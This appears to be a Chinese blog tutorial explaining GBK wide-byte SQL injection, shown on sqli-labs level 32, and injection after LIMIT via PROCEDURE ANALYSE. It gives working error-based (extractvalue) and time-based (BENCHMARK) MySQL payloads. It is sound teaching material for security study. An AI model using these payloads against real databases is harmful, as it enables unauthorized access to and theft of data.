当前位置:网站首页>sql注入之宽字节注入,limit,order by
sql注入之宽字节注入,limit,order by
2022-08-10 03:29:00 【H2223】
什么是宽字节?
如果一个字符的大小是一个字节的,称为窄字节;如果一个字符的大小是两个字节的,成为宽字节
像GB2312、GBK、GB18030、BIG5、Shift_JIS等这些编码都是常说的宽字节,也就是只有两字节
英文默认占一个字节,中文占两个字节
什么是宽字节注入?
原理:宽字节注入发生的位置就是PHP发送请求到MYSQL时字符集使用character_set_client设置值进行了一次编码。在使用PHP连接MySQL的时候,当设置“character_set_client = gbk”时会导致一个编码转换的问题,也就是我们熟悉的宽字节注入
宽字节注入是利用mysql的一个特性,mysql在使用GBK编码(GBK就是常说的宽字节之一,实际上只有两字节)的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字的范围)
GBK首字节对应0×81-0xFE,尾字节对应0×40-0xFE(除0×7F),例如%df和%5C会结合;GB2312是被GBK兼容的,它的高位范围是0xA1-0xF7,低位范围是0xA1-0xFE(0x5C不在该范围内),因此不能使用编码吃掉%5c
常见转义函数与配置:addslashes、mysql_real_escape_string、mysql_escape_string、php.ini中magic_quote_gpc的配置
以sqlilab的第32关为例
输入?id=1'时不报错,被/转义了
输入?id=%df1'时报错了
其实那个乱码的是希腊字母β
limit
在LIMIT后面可以跟两个函数,PROCEDURE 和 INTO,INTO除非有写入shell的权限,否则是无法利用的,那么使用PROCEDURE函数能否注入呢
mysql> SELECT field FROM table where id > 0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1); ERROR 1386 (HY000): Can't use ORDER clause with this procedure
ANALYSE可以有两个参数:
mysql> SELECT field FROM table where id > 0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1,1); ERROR 1386 (HY000): Can't use ORDER clause with this procedure
看起来并不是很好,继续尝试:
mysql> SELECT field from table where id > 0 order by id LIMIT 1,1 procedure analyse((select IF(MID(version(),1,1) LIKE 5, sleep(5),1)),1);
但是立即返回了一个错误信息:
ERROR 1108 (HY000): Incorrect parameters to procedure 'analyse'
sleep函数肯定没有执行,但是最终我还是找到了可以攻击的方式:
mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); ERROR 1105 (HY000): XPATH syntax error: ':5.5.41-0ubuntu0.14.04.1'
如果不支持报错注入的话,还可以基于时间注入:
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
直接使用sleep不行,需要用BENCHMARK代替。
边栏推荐
猜你喜欢
【mindspore产品】【8卡分布式训练】davinci_model : load task fail, return ret
测试工作管理与规范
请问mindspore支持l1范数归一化吗
【科研绘图】琴图 +箱型图混合 matplotlib库和seabsorn库的使用
maya图片如何渲染
Classes and interfaces
【网络迁移】Pytorch中的torch.no_grad对应MindSpore哪个方法
Mini Program Navigation and Navigation Parameters
一篇文章教你Pytest快速入门和基础讲解,一定要看
The same is a primary test, why does he pay 5,000 yuan more than me?
随机推荐
TCP协议之《Pacing功能》
YAPI使用
小程序wxs
Camera partial update
基础理解网络模型
请问mindspore支持l1范数归一化吗
leetcode 27:移除元素
order by注入与limit注入
Do you know these basic types of software testing?
Did not detect default resource location for test class xxxx
Software life cycle (the work of each phase of software engineering)
如何开启热部署Devtools
goland json.Marshal导致&变成\u0026
golang go get 时提示 no Go files in xxx
Basic understanding of network models
电话自动拨号在电脑上自动拨打
TCP协议之《延迟ACCEPT》
质量小议13 -- 侥幸
js阻止事件冒泡方案
ARP欺骗-教程详解